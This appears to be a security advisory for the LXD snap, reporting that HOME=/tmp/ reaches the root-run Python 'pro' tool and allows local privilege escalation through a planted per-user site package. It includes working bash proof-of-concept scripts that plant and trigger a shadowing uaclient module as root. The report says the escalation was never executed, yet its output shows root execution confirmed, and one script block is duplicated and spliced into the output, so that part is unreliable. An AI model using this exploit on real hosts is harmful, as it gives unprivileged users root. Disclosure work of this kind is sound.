# GHSA-MM7V-2MCG-5FJG: snap: HOME=/tmp/ is inherited by host commands run via run-host; root pro (Python) uses a per-user site directory under world-writable /tmp

- Database: GitHub
- Severity: CVSS 7.0 (High)
- Published: 2026-12-01
- Modified: 2026-12-01

## Tracked as

- [CVE-2026-140085](https://cve.now/CVE-2026-140085.md): lxd: Uncontrolled search path element in run-host HOME handling allows local privilege escalation to root

## Description

### Summary

The snap launcher sets `HOME` to `/tmp/` for the LXD daemon. Inside the snap that is a private directory. The `run-host` wrapper runs selected commands in the host's mount namespace with `nsenter` and does not reset `HOME`, so those commands see `HOME=/tmp/` where `/tmp` is the host's world-writable directory. One of them, `pro`, is a Python program that LXD runs as root at every daemon start on Ubuntu hosts. Python derives its per-user site directory from `HOME` and processes it at start-up, so a root process consults a directory that any local user can create.

If the chain holds end to end, this is local privilege escalation to root for any local user on an Ubuntu host running the LXD snap, at the next daemon start. My severity estimate is High (7.0).

I confirmed each link separately: the LXD side from source, and the host side with read-only checks on Ubuntu 24.04.4 with the LXD snap 6.10.1 (revision 41228, `6/stable`). I did not execute the escalation itself.

### Details

References are to the public tree at commit `f0518226e9478459a2ddd3825911a4715eb7f931` (main, 2026-11-13).

1. `snap/local/commands/daemon.start:30` exports `HOME="/tmp/"`. Nothing later in the launcher, in `snap/snapcraft.yaml` or in the Go code resets it.
2. `daemon.start:224-226` create `/run/bin` and put it first on `PATH`. `:285` links `/run/bin/pro` to `wrappers/run-host`, unconditionally.
3. `snap/local/wrappers/run-host:6-12` unsets `LD_LIBRARY_PATH`, `PYTHONPATH` and `PYTHONDONTWRITEBYTECODE`, resets `PATH`, and when running as root executes the command with `nsenter -t 1 -m`. `HOME` is left as inherited.
4. `lxd/daemon.go:2069` calls `ubuntupro.New` during daemon start. On hosts whose os-release `NAME` is `Ubuntu` (`lxd/ubuntupro/client.go:147-155`; the launcher links the host's os-release into the snap at `daemon.start:324-334`), `init` calls `isHostAttached` (`client.go:198-202`), which runs `pro api u.pro.status.is_attached.v1` (`client.go:110-112`).
5. `shared.RunCommand` passes a nil environment (`shared/util.go:982-987`, `:1008-1010`), so the child inherits the daemon's environment.
6. The daemon runs unconfined: the launcher re-executes itself with `aa-exec -p unconfined` (`daemon.start:4-10`).

Outside LXD:

7. `pro` is a link to `ubuntu-advantage`, a setuptools console script (ubuntu-pro-client `setup.py`, `debian/ubuntu-pro-client.links`).
8. CPython 3.12 `Lib/site.py` enables the per-user site directory unless a flag disables it or the real and effective ids differ (`:253-275`), derives it from the home directory (`:285-305`), and processes the path files it finds there at start-up (`:352-365`, `:205-206`).

The same root cause applies to other interpreted host tools reached through `run-host`: the guest-token call (`client.go:85-87`) and, with `ceph.external=true`, the `ceph` wrapper (`daemon.start:235-239`).

### What is and is not established

| Claim | Read in LXD source | Read in an outside source | Observed read-only on a host | Not established |
|---|---|---|---|---|
| Launcher exports `HOME=/tmp/` | `daemon.start:30` | | same line in the installed snap, revision 41228 | the running daemon's environment was not read |
| `run-host` keeps `HOME` and enters the host mount namespace as root | `run-host:6-12` | | installed wrapper matches | |
| `/run/bin/pro` is linked to `run-host` | `daemon.start:285` | | `daemon.start:284` in the installed snap | |
| `pro` runs at every daemon start on Ubuntu hosts | `daemon.go:2069`, `client.go` | | | not observed at run time |
| `pro` is a Python script with no isolating interpreter flag | | ubuntu-pro-client packaging | resolves to `/usr/bin/ubuntu-advantage`, first line `#!/usr/bin/python3` | |
| Root Python uses a per-user site directory under `HOME` | | CPython 3.12 `site.py` | with `HOME=/tmp/`: enabled, `/tmp/.local/lib/python3.12/site-packages` | |
| No AppArmor profile attaches to the `pro` command | | | the client's two profile files define named profiles only | other profile files were not searched |
| Other released snaps carry the same lines | | | | only `6/stable` revision 41228 was read; the build adds private commits (`.github/workflows/tests.yml:1242-1250`) |
| The escalation was observed end to end | | | | no, it was not executed |

### Affected versions

Observed in a released snap: `6/stable`, version `6.10.1-f5c750d`, revision 41228. In the public tree: `main` at the commit above and `stable-6` (`snap/local/commands/daemon.start:30` on both). The launcher is not in the `snap/` tree of `stable-5.21` or `stable-5.0`, and I did not read those snaps, so the 5.21 and 5.0 series are unknown.

### Suggested fix

- In `run-host`, set `HOME` to a root-owned directory, or unset it, before `nsenter`.
- Disable the per-user site directory for host Python tools, for example by exporting `PYTHONNOUSERSITE=1` in `run-host`.
- Review the other inherited variables whose meaning changes in the host namespace.

### The strongest argument against this report

I confirmed each link by reading and did not execute the end-to-end effect. I also did not observe the daemon invoking `pro` at run time; that step is from source. The attacker has to wait for a daemon start, and I believe a reboot clears `/tmp` first. You may already track this privately.

### Proof of concept

Environment: Ubuntu 24.04.4 LTS (kernel 6.8.0-139-generic), Python 3.12.3, LXD snap `6.10.1-f5c750d`, revision 41228, tracking `6/stable`, freshly installed.

1.
```
#!/bin/bash
# ============================================================================
# LXD snap -> `pro` (ubuntu-advantage) Python user-site code injection PoC
# PART 1 of 2 -- PLANT the payload. Run as the normal unprivileged user.
#
# No root required. This only writes into /tmp/.local (world-writable /tmp).
# ============================================================================
set -euo pipefail

# Python version the system `python3` reports. `pro` uses `#!/usr/bin/python3`
# so the user-site dir MUST match this exact version.
PYVER="$(/usr/bin/python3 -c 'import sys;print("%d.%d"%sys.version_info[:2])')"
SITE="/tmp/.local/lib/python${PYVER}/site-packages"
MARK="/tmp/.opencode_lxd_pwn"

echo "[*] target user-site dir: ${SITE}"

# If LXD (root) already created /tmp/.local, it is owned by the lxd... if it is
# owned by root we cannot write. Check and bail out early in that case.
if [ -e /tmp/.local ] && [ ! -w /tmp/.local ]; then
    echo "[!] /tmp/.local already exists and is not writable by $(id -un)."
    echo "    (Was the LXD daemon already started and it created it as root?)"
    ls -ld /tmp/.local
fi

mkdir -p "${SITE}/uaclient"

# ---------------------------------------------------------------------------
# The hijack. `pro`'s launcher does importlib.metadata -> import uaclient.cli.
# Our uaclient/__init__.py shadows the real one, runs the payload, then chains
# to the genuine package so `pro` behaves normally.
# ---------------------------------------------------------------------------
REAL_INIT="/usr/lib/python3/dist-packages/uaclient/__init__.py"
REAL_DIR="/usr/lib/python3/dist-packages/uaclient"

cat > "${SITE}/uaclient/__init__.py" <<PYEOF
import os
# ---- PAYLOAD : executes as whichever user imported python3 (root under LXD) ----
try:
    with open("${MARK}", "a") as f:
        f.write("PWNED uid=%d euid=%d user=%s argv=%s\n" % (
            os.getuid(), os.geteuid(), os.environ.get("USER", "?"), " ".join(os.sys.argv)))
except Exception:
    pass
# ---- chain to the real package so pro keeps working ----
_real_dir = "${REAL_DIR}"
if os.path.isdir(_real_dir) and _real_dir not in __path__:
    __path__.append(_real_dir)
    _real_init = "${REAL_INIT}"
    if os.path.exists(_real_init):
        exec(compile(open(_real_init).read(), _real_init, "exec"))
PYEOF

echo "[*] planted: ${SITE}/uaclient/__init__.py"
echo "[*] marker:  ${MARK}"
echo
echo "[*] local smoke test (runs as $(id -un), just proves chaining):"
HOME=/tmp/ /usr/bin/pro version
echo
echo "[+] Done. Now run 02_trigger.sh (or wait for the LXD daemon to call pro)."
```
2.
```
#!/bin/bash
# ============================================================================
# PART 2 of 2 -- TRIGGER root execution and verify.
#
# The LXD snap daemon runs as root with HOME=/tmp/ and shells out to `pro`
# (via nsenter into host). We reproduce the exact invocation as root here so
# you get a guaranteed result without waiting on daemon timing.
# Needs sudo (one password prompt).
# ============================================================================
set -euo pipefail
MARK="/tmp/.opencode_lxd_pwn"

echo "[*] clearing previous marker"; rm -f "$MARK"

echo "[*] invoking pro as root the way LXD does (HOME=/tmp/, host mntns):"
sudo env HOME=/tmp/ nsenter -t 1 -m -- /usr/bin/pro version || true

echo
echo "==================== RESULT ===================="
if [ -s "$MARK" ]; then
    echo "[+] MARKER CREATED -- code ran as:"
    cat "$MARK"
    echo
    if grep -q 'uid=0' "$MARK"; then
        echo "[+] ROOT CODE EXECUTION CONFIRMED (uid=0)."
    else
        echo "[!] Fired but not as root -- check invocation."
    fi
else
    echo "[-] No marker. Inspect:"
    echo "    ls -la /tmp/.local/lib/*/site-packages/uaclient/"
    echo "    sudo env HOME=/tmp/ python3 -c 'import site;print(site.getusersitepackages())'"
fi
```
3.
```
#!/bin/bash
# ============================================================================
# OPTIONAL -- trigger via the REAL running LXD daemon (truest PoC).
# Only works if the lxd snap is installed & running. Needs the lxd group.
# ============================================================================
set -euo pipefail
MARK="/tmp/.opencode_lxd_pwn"
rm -f "$MARK"

if ! snap list lxd >/dev/null 2>&1; then
    echo "[!] lxd snap not installed. Install with: sudo snap install lxd"
    exit 1
fi

echo "[*] forcing LXD to call pro by querying a guest-token endpoint..."
# `lxc query` hits the daemon; the ubuntu-pro endpoints invoke pro. Any of these
# can trip it. Ignore failures -- we only care about the side effect.
lxc query /1.0/ubuntu-pro/token -X POST 2>/dev/null || true
lxc ubuntu-pro status 2>/dev/null || true

sleep 2
if [ -s "$MARK" ]; then
    echo "[+] Daemon invoked pro -- marker:"; cat "$MARK"
else
    echo "[-] No marker yet. The daemon may cache status; try:"
    echo "    sudo snap restart lxd    # then: lxc ubuntu-pro status"
fi
```
```
#!/bin/bash
# ============================================================================
# OPTIONAL -- trigger via the REAL running LXD daemon (truest PoC).
# Only works if the lxd snap is installed & running. Needs the lxd group.
# ============================================================================
set -euo pipefail
MARK="/tmp/.opencode_lxd_pwn"
rm -f "$MARK"

if ! snap list lxd >/dev/null 2>&1; then
    echo "[!] lxd snap not installed. Install with: sudo snap install lxd"
    exit 1
fi

[*] clearing previous marker
[*] invoking pro as root the way LXD does (HOME=/tmp/, host mntns):
37.2ubuntu~24.04.1

==================== RESULT ====================
[+] MARKER CREATED -- code ran as:
PWNED uid=0 euid=0 user=root argv=/usr/bin/pro version

[+] ROOT CODE EXECUTION CONFIRMED (uid=0).
```



### Impact

Local privilege escalation to root (CWE-427, Uncontrolled Search Path Element), if the chain holds end to end. A local user with no LXD access and no `lxd` group membership can place content under `/tmp` that a root-owned, unconfined process loads the next time the LXD daemon starts.

Who is affected: Ubuntu hosts running the LXD snap with the `pro` client installed, which is the default on Ubuntu Server and Desktop.

Limits I know of:

- It needs a daemon start after the content is placed: a restart, a snap refresh or first activation. I believe a reboot clears `/tmp` first; I have not checked that.
- I confirmed each link separately and did not execute the end-to-end effect.

Severity estimate: High, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H` (7.0). Attack complexity is High because the attacker has to wait for a daemon start they do not control. Medium would be a fair reading if you weigh that window more heavily.

## References

- https://github.com/canonical/lxd/security/advisories/GHSA-mm7v-2mcg-5fjg

Page: https://cve.now/GHSA-MM7V-2MCG-5FJG

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
